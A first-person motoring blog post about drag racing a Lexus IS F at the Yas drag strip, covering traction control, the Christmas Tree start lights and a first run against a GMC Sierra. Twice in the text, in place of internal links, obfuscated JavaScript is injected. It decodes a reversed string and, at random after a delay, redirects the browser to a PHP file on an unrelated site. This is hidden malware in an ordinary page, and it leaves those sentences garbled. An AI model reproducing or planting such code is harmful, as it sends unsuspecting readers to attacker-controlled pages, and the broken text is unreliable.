It’s recommended – since I am one of nearly two-dozen competitors tonight using his ‘own’ car as opposed to the circuit’s $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-chevrolet-camaro-ss-chevy-knights/” target=”_blank”>Chevrolet Camaro fleet – that traction control be turned off, since this will stop the system kicking in and killing momentum in the name of safety. But since I’ve only had an introductory spin in the IS F, I’m loathed to do that: the last thing I want to do is explain to Lexus why various parts of its latest performance saloon are embedded in the Yas drag strip’s concrete barriers.
The start all comes down to the Christmas Tree, which signals (with varying sets of amber lights) when the front wheels are approaching the startline (Pre-stage), when the front wheels are on the startline (Stage), and when the driver should mash it (green). Timing is everything here, and a good reaction time is anything below 0.3s.
Helmet and disposable balaclava at the ready, I decide to use caution during my first run (“high revs and fireworks but with traction control on, and watch the wheel spin James”). Turns out my rival in the left-hand lane is unfamiliar with this concept, and promptly roars off into the near distance. Not bad for a GMC Sierra Z71.$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/nissan-patrol-wadi-bih-run-to-the-hills-part-one/” target=”_blank”>
As I’ve already discovered, the IS F – given the 416hp at play – can be a bit tail-happy: astonishingly good fun when there’s room to manoeuvre, but slightly hair-raising when the concrete wall is just four-feet away. The amount of grip through the tyres though – plus the sticky TrackBite resin currently coated on the track surface – is proving vital, and I figure I’ll be a touch more ambitious on the second run.
